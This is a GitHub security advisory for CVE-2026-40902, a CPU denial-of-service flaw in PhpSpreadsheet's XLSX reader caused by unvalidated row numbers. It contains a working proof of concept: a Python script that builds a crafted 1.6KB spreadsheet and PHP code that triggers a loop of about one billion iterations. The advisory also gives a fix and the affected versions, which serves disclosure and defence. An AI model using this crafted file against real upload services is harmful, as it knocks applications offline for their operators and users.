GHSA-7C6M-4442-2X6M
Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31Summary
The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.
Details
In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:
// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r']; // No validation against AddressRange::MAX_ROW
This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:
// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
if (!isset($this->rowDimensions[$row])) {
$this->rowDimensions[$row] = new RowDimension($row);
$this->cachedHighestRow = max($this->cachedHighestRow, $row);
}
return $this->rowDimensions[$row];
}
The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):
// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();
Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.
PoC
Step 1: Create the malicious XLSX file (~1.6KB)
import zipfile
import io
content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'
rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'
workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'
wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'
sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'
with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
zf.writestr('[Content_Types].xml', content_types)
zf.writestr('_rels/.rels', rels)
zf.writestr('xl/workbook.xml', workbook)
zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
zf.writestr('xl/worksheets/sheet1.xml', sheet)
print("Created dos_row.xlsx")
Step 2: Load with PhpSpreadsheet (CPU exhaustion)
<?php
require 'vendor/autoload.php';
use PhpOffice\PhpSpreadsheet\IOFactory;
$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();
echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999
// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
// CPU exhaustion
}
Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.
Impact
- CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using
getRowIterator()or usesgetHighestRow()as a loop bound. Estimated CPU burn is ~144 seconds per file. - Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
- Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
- Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.
Recommended Fix
Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:
// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];
// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
continue;
}
The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.6.0"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "5.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.10.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.4.4"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.15"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.1.16"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.30.3"
},
"package": {
"ecosystem": "Packagist",
"name": "phpoffice/phpspreadsheet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40902"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-29T20:24:13Z",
"nvd_published_at": "2026-05-12T22:16:33Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027]; // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n if (!isset($this-\u003erowDimensions[$row])) {\n $this-\u003erowDimensions[$row] = new RowDimension($row);\n $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n }\n return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n zf.writestr(\u0027_rels/.rels\u0027, rels)\n zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
"id": "GHSA-7c6m-4442-2x6m",
"modified": "2026-05-13T16:31:37Z",
"published": "2026-04-29T20:24:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
},
{
"type": "PACKAGE",
"url": "https://github.com/PHPOffice/PhpSpreadsheet"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.